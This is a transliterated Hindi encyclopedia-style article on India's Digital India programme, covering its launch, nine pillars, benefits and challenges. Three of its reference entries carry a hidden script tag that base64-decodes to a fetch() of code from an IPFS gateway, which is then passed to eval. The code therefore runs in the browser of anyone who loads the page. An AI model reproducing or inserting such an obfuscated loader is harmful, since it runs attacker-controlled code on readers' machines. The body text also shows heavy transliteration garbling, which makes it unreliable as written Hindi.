डिजिटल इंडिया

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dijital iandiya
vivaran 'dijital iandiya' vah karyakram hai, jo ki bharat ko ek 'dijital sashakt sosaiti' mean tabdil kar sake aur desh ko ek naya roop de sake.
desh bharat
shuruat 1 julaee, 2015
mantralay ilektr aauniks aur soochana praudyogiki mantralay
uddeshy bharat ko dijital aur jnan adharit arthavyavastha mean badalana.
sanbandhit lekh bharat sarakar, narendr modi
any janakari dijital iandiya abhiyan mean ee-gavarneans, ilektranik nirman, saibar suraksha aur vittiy samaveshan, behatar doorasanchar suvidhaoan aur tivragami iantaranet par dhyan kendrit kiya gaya hai.

dijital iandiya (aangrezi: Digital India) bharat sarakar dvara chalaya jane vala ek behatarin karyakram hai, jisaka uddeshy sashakt samaj aur jnan ki arthavyavastha ko ek dijital roop dena hai. arthath‌ bharat mean chal rahe chhote-b de sabhi sarakari vibhagoan ko dijital roop dekar usaki gati ko aur age badhana hai. dijital iandiya karyakram 1 julaee, 2015 ko pradhanamantri narendr modi, anil ambani, ajim premaji, sairas mistri jaise b de hastiyoan ki upasthiti mean laanch kiya gaya tha, jisamean ye sankalp liya gaya ki 'ne vicharoan dvara dijital shakti dekar bharat ko aur age badhana hai'.

parichay

dijital iandiya bharat sarakar ki ek pahal hai, jisake tahat sarakari vibhagoan ko desh ki janata se jo dana hai. isaka uddeshy yah sunishchit karana hai ki bina kagaz ke istemal ke sarakari sevaean ilektr aaunik roop se janata tak pahuanch sakean. is yojana ka ek uddeshy gramin ilakoan ko haee spid iantaranet ke madhyam se jo dana bhi hai. dijital iandiya ke tin kor ghatak haian-

  1. dijital adharabhoot dhaanche ka nirman karana
  2. ilektr aaunik roop se sevaoan ko janata tak pahuanchana
  3. dijital saksharata


is yojana ko 2019 tak karyanvit karane ka lakshy hai. ek too-ve pletaph aaurm ka nirman kiya jaega, jahaan donoan[1] ko labh hoga. yah ek aantar-mantralayi pahal hogi, jahaan sabhi mantralay tatha vibhag apani sevaean janata tak pahuanchaeange, jaise ki svasthy, shiksha aur nyayik seva adi. chayanit roop se pablik praivet partanaraship[2] m aaudal ko apanaya jaega. isake atirikt rashtriy soochana keandr ke punarnirman ki bhi yojana hai. yah yojana modi prashasan ki t aaup prathamikata vali pariyojanaoan mean se ek hai. yah ek sarahaniy aur sabhi sajhedaroan ki poorn samarthan vali pariyojana hai. jabaki isamean ligal phremavark, gopaniyata ka abhav, data suraksha niyamoan ki kami, nagarik svayattata hanan, tatha bharatiy ee-sarvilaans ke lie sansadiy nigarani ki kami tatha bharatiy saibar asuraksha jaisi kee mahatvapoorn kamiyaan bhi haian. dijital iandiya ko karyanvit karane se pahale in sabhi kamiyoan ko door karana hoga.

nau stambh

dijital iandiya ke 9 stanbh haian-

  1. br aaudabaiand haeeve
  2. sab ko phon ki upalabdhata
  3. iantaranet tak sab ki pahuanch
  4. ee-shasan (teknal aauji ki madad se shasan)
  5. ee-kraanti (ilektr aaunik sevaean)
  6. sabhi ke lie soochana
  7. ilektr aaunik mainyuphaikchariang
  8. aee.ti. ke jarie rojagar
  9. bhavishy ki taiyari ke karyakram

br aaudabaiand haivej

thumb|250px|dijital iandiya ke nau stambh samany taur par br aaudabaiand ka matalab doorasanchar se hai, jisamean soochana ke sanchar ke lie avrittiyoan ke vyapak baiand upalabdh hote haian. is karan soochana ko kee guna tak badhaya ja sakata hai aur ju de hue tamam baiand ki vibhinn avrittiyoan ya chainaloan ke madhyam se bheja ja sakata hai. isake madhyam se ek nirdisht samay sima mean vrihattar soochanaoan ko preshit kiya ja sakata hai. thik usi tarah se jaise kisi haive par ek se jyada len hone se utane hi samay mean jyada ga diyaan avajahi kar sakati haian. br aaudabaiand haive nirman se agale tin saloan ke bhitar desh bhar ke dhaee lakh panchayatoan ko isase jo da jayega aur logoan ko sarvajanik sevaean muhaiya karayi jayeangi.[3]

mobail kanektiviti sab ko sugam-sulabh karana

desh bhar mean taqariban sava arab ki abadi mean mobail phon kanekshan ki sankhya joon, 2014 tak karib 80 karo d thi. shahari ilakoan tak bhale hi mobail phon poori tarah se sulabh ho gaya ho, lekin desh ke vibhinn gramin ilakoan mean abhi bhi isaki suvidha muhaiya nahian ho payi hai. halaanki, bazar mean niji kanpaniyoan ke karan isaki suvidha mean pichhale ek dashak mean kaphi badhotari huee hai. desh ke 55,000 gaanvoan mean agale paanch varsho ke bhitar mobail sanpark ki suvidha sunishchit karane ke lie 20,000 karo d ke yoonivarsal sarvis aaubligeshan phand [4] ka gathan kiya gaya hai. isase gramin upabhoktaoan ke lie iantaranet aur mobail baiankiang ke istemal mean asani hogi.

pablik iantaranet ekses program

bhavishy mean sabhi sarakari vibhagoan tak am adami ki pahuanch badhayi jayegi. post aauphis ke lie yah dirghavadhi vizan vala karyakram ho sakata hai. is program ke tahat post aauphis ko malti-sarvis seantar ke roop mean banaya jayega. nagarikoan tak sevaean muhaiya karane ke lie yahaan anek tarah ki gatividhiyoan ko aanjam diya jayega.

ee-gavarnes

praudyogiki ke jariye sarakar ko sudharana: soochana praudyogiki ka istemal karate hue bijanes prosesari-ianjiniyariang ke traanjekshans mean sudhar kiya jayega. vibhinn vibhagoan ke bich apasi sahayog aur avedanoan ko aaunalain traik kiya jayega. isake alava, skool praman patroan, votar ai.di. kardas adi ki jahaan jaroorat p de, vahaan isaka aaunalain istemal kiya ja sakata hai. yah karyakram sevaoan aur manchoan ke ekikaran- yooaidieai (adhar), pemeant getave (biloan ke bhugatan) adi mean madadagar sabit hoga. sath hi sabhi prakar ke databes aur soochanaoan ko ilektr aaunik madhyam se muhaiya karaya jayega.

ee-kraanti sevaoan ki ilektr aaunik dilivari

isamean anek bianduoan ko phokas kiya gaya hai. ee-ejukeshan ke tahat sabhi skooloan ko br aaudabaiand se jo dane, sabhi skooloan (dhaee lakh) ko mupht vai-phai ki suvidha muhaiya karane aur dijital litaresi karyakram ki yojana hai. kisanoan ke lie riyal taim kimat ki soochana, nakadi, karz, rahat bhugatan, mobail baiankiang adi ki aaunalain seva pradan karana. svasthy ke kshetr mean aaunalain medikal salah, rik aaurd aur sanbandhit davaoan ki apoorti samet marijoan ki soochana se ju de eksacheanj ki sthapana karate hue logoan ko ee-helthakeyar ki suvidha dena. nyay ke kshetr mean ee-kort, ee-pulis, ee-jel, ee-prosikyooshan ki suvidha. vittiy iantajam ke tahat mobail baiankiang, maikro-etiem program.

sabhi ke lie janakari

thumb|250px|dijital iandiya is karyakram ke tahat soochana aur dastavejoan tak aaunalain pahuanch kayam ki jayegi. isake lie open data pletaph aaurm muhaiya karaya jayega, jisake madhyam se nagarik soochana tak asani se pahuanch sakeange. nagarikoan tak soochanaean muhaiya karane ke lie sarakar soshal midiya aur veb adharit manchoan par sakriy rahegi. sath hi, nagarikoan aur sarakar ke bich dotarapha sanvad ki vyavastha kayam ki jayegi.

ilektr aauniks kshetr mean atmanirbharata

ilektr aauniks kshetr se ju di tamam chijoan ka nirman desh mean hi kiya jayega. isake tahat ‘net jiro ianports’ ka lakshy rakha gaya hai taki 2020 tak ilektr aauniks ke mamale mean atmanirbharata hasil ki ja sake. isake lie arthik nitiyoan mean sanbandhit badalav bhi kiye jayeange. phaib-les dijain, set t aaup b aauks, viset, mobail, upabhokta aur medikal ilektr aauniks, smart enarji mitars, smart kardas, maikro-etiem adi ko badhava diya jayega.

rojagaraparak soochana praudyogiki

deshabhar mean soochana praudyogiki ke prasar se rojagar ke adhikaansh praroopoan mean isaka istemal badh raha hai. isalie is praudyogiki ke anuroop karyabal taiyar karane ko prathamikata di jayegi. kaushal vikas ke maujooda karyakramoan ko is praudyogiki se jo da jayega. sanchar sevaean muhaiya karane vali kanpaniyaan gramin karyabal ko unaki apani jarooratoan ke mutabiq prashikshit karegi. gaanvoan v chhote shaharoan mean logoan ko aiti se ju di sevaoan ke lie prashikshit kiya jayega. aiti sevaoan se ju de karobar ke lie logoan ko prashikshit kiya jayega. isake lie doorasanchar vibhag ko nodal ejeansi banaya gaya hai.

arli harvest programs

dijital iandiya karyakram ko lagoo karane ke lie pahale kuchh buniyadi dhaancha banana hoga yani isaki prishthabhoomi taiyar karani hogi.

yojana ke labh

  1. dijital l aaukar vyavastha lagoo karane ko dijital iandiya karyakram mumakin banaega, jisake parinamasvaroop rajistard sangrah ke madhyam se ee-sheyariang saksham banane ke sath hi bhautik dastavez ko kam karane ke dvara kagazi karravaee ko ghataega.
  2. ye ek prabhavashali aaunalaeen manch hai, jo "charcha, kary karana, aur vitaran" jaise vibhinn drishtikon ke dvara shasan pranali mean logoan ko shamil kar sakata hai.
  3. sarakar ke dvara vibhinn aaunalaeen lakshyoan ki prapti ko ye sunishchit karega.
  4. kahian se bhi apane dastavez aur pramanapatr ko aaunalaeen jama karana logoan ke liye ye sanbhav banayega, jo sharirik kary ko ghatayega.
  5. ee-hastakshar sanrachana ke dvara nagarik apane dastavezoan ko aaunalaeen hastaksharit kara sakata hai.
  6. ee-aspatal ke madhyam se mahatvapoorn svasthy parak sevaoan ko asan bana sakata hai, jaise- aaunalaeen rajistreshan, d aauktar se milane ka vakt lena, phis jama karana, aaunalaeen lakshanik jaanch karana, khoon jaanch adi.
  7. arjiyoan ke jama karane, pramanikaran prakiya, anumodan aur sanvitaran ke svikriti ke dvara rashtriy chhatravritti portal ke madhyam se labharthi ke liye ye labh upalabdh karata hai.
  8. ye ek b da manch hai, jo apane nagarikoan ke liye poore desh bhar mean sarakari aur niji sevaoan ke prabhavashali vitaran ko asan banata hai.
  9. bharat net karyakram (tej gati ka dijital haive) desh ke lagabhag 2,50,000 gram panchayatoan ko jo dega.
  10. dijital iandiya pahal mean madad ke liye bahari srot niti bhi ek yojana hai. mobaeel par aaunalaeen sevaoan ke behatar prabandhan ke liye, jaise- v aauis, data, maltimidiya adi, biesenel ke agali pidhi ka netavark 30 sal purane teliphon eksacheanj ko badal dega.
  11. phleksibal ilektr aaunik ke liye rashtriy kendr phleksibal ilektr aaunik ko badhava dene mean madad karega.
  12. poore desh mean biesenel ke dvara b de paimane par vaee-phaee h aautasp aaut ko phailane ki yojana banayi gayi hai.
  13. kanektiviti se ju de sabhi sanbandhit muddoan ko sanbhalane ke liye br aaudabaiand haive hai.
  14. sabhi shaharoan, nagaroan aur gaanvoan mean br aaudabaiand haive ki khuli pahuanch maoos ke ek klik par vishv stariy seva ki upalabdhata ko mumakin banayega.[5]


dijital iandiya abhiyan ka udghatan karate hue pradhanamantri nareandr modi ne kaha tha ki- "maian aise dijital bharat ka sapana dekhata hooan, jahaan haee spid dijital haive desh ko ek karata hai. isase ju de 1.2 arab log avishkaroan ko badhava dean, takanik isaki garanti karega ki nagarik aur sarakar ka sanbandh bhrasht nahian hoga."

tin pramukh uddeshy

  1. pratyek nagarik ko dijital iandiya ki upayogita se roobaroo karana.
  2. nagarikoan ki maang par shasan aur sevaean pradan karana.
  3. har nagarik ko dijital shakti pradan karana.

chunautiyaan

bharat sarakar ki sanstha 'bharat br aaudabaiand netavark limited' neshanal aauptikal phaibal netavark jaisi pariyojana ko karyanvayit karegi, jo dijital iandiya karyakram ki dekharekh karega. bibieऩel ne yoonaited telik aaum limited ko 250,000 gaanvoan ko ephatitiech br aaudabaiand adharit tatha jipioen ke dvara jo dane ka adesh diya hai. yah 2017 tak (apekshit) poorn hone vali dijital iandiya pariyojana ko sabhi adharabhoot suvidhaean muhaiya karaegi. dijital iandiya bharat sarakar ki ashvasanatmak yojana hai. kee kampaniyoan ne is yojana mean apani dilachaspi dikhayi hai. yah bhi mana ja raha hai ki ee-k aaumars dijital iandiya projekt ko sugam banane mean madad karega. jabaki, ise karyanvayit karane mean kee chunautiyaan aur kanooni badhaean bhi a sakati haian.

kuchh logoan ka yah bhi manana hai ki desh mean dijital iandiya saphal tab tak nahian ho sakata, jab tak ki avashyak bisibi ee-gavarneans ko lagoo n kiya jae tatha ekamatr rashtriy ee-shasan yojana[6] ka apoorn kriyanvayan bhi is yojana ko prabhavit kar sakata hai. nijata suraksha, data suraksha, saibar kanoon, teligraph, ee-shasan tatha ee-k aaumars adi ke kshetr mean bharat ka kamajor niyantran hai. kee kanooni visheshajnoan ka yah bhi manana hai ki bina saibar suraksha ke ee-prashasan aur dijital iandiya vyarth hai. bharat ne saibar suraksha chalan ne bharatiy saibar spes ki kamiyoan ko ujagar kiya hai. yahaan tak ki ab tak rashtriy saibar suraksha yojana 2013 abhi tak kriyanavayit nahian ho payi hai. in sabhi vartaman paristhiyoan mean mahatvapoorn adharabhoot suraksha ka prabandhan karana bharat sarakar ke lie kathin kary hoga tatha is projekt mean uchit ee-kachara prabandhan ke pravadhan ki bhi kami hai.

drishtikon aur paddhati

  • mantralay, vibhag, rajy poori tarah se bharat sarakar dvara sthapit aeesiti ki buniyadi suvidhaoan ka labh uthayeangean.
  • maujooda/chal rahe ee-shasan pahaloan ka purnotthan kiya jaega evan unhean dijital iandiya ke siddhaantoan ke sath panktibaddh kiya jayega. skop vriddhi, proses punarrachana, ekikrit aantarprayogatmak sistam aur klaud aur mobail jaisi ubharati praudyogikiyoan ka upayog nagarikoan ko sarakari sevaoan ke vitaran ko badhane ke lie kiya jaega.
  • rajyoan ko unake samajik-arthik jarooratoan ke anusar prasangik vishisht pariyojanaoan ki pahachan evan shamil kie jane ke lie lachilapan diya jaega.
  • ee-shasan nagarik kendrit seva abhivinyas sunishchit karane ke lie avashyak had tak ek keandrikrit pahal ke madhyam se protsahit kiya jaega.
  • saphalataoan ki pahachan ki jaegi aur unaki pratikriti satat ki jaegi.
  • jahaan bhi sanbhav ho sarvajanik niji bhagidari pasand ki jaegi.
  • yoonik aee di ka upayog protsahan, pahachan, pramanikaran aur labh pradan karane ke lie kiya jaega.
  • enaeesi ka punargathan keandr aur rajy star par sabhi sarakari vibhagoan ko aee ti samarthan majaboot karane ke lie kiya jaega.
  • kam se kam 10 pramukh mantralayoan mean mukhy soochana adhikari (siaeeo) ka pad banaya jaega taki vibhinn ee-gavarneans pariyojanaoan ka tezise nirman, vikas evan unhean lagoo kiya ja sake.
  • dieeaeetivaee karyakram ke prabandhan ke lie vibhag ke bhitar avashyak varishth padoan ka srijan kiya jaega.
  • kendriy mantralayoan, vibhagoan aur rajy sarakaroan ki is karyakram ke tahat vibhinn mishan mod aur any pariyojanaoan ke karyanvayan ke lie samagr jimmedari hogi. rashtriy star par samagr ekatrikaran aur ekikaran ki jaroorat ko dekhate hue yah upayukt mana gaya ki dijital iandiya karyakram pratyek shamil ejeansi ki achchhi tarah se paribhashit bhoomikaoan aur jimmedariyoan ke sath ek karyakram ke roop mean lagoo kiya jae.[7]



panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. ↑ seva pradata aur upabhokta
  2. ↑ pipipi
  3. ↑ dijital iandiya karyakram ka uddeshy (hiandi) prabhatkhabar.com. abhigaman tithi: 02 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  4. ↑ yoo.es.o.eph.
  5. ↑ dijital iandiya nibandh (hiandi) hindikiduniya.com. abhigaman tithi: 02 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  6. ↑ National e-Governance Plan
  7. ↑ dijital iandiya-adhikarik vebasait bharat sarakar (hiandi) india.gov.in. abhigaman tithi: 01 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

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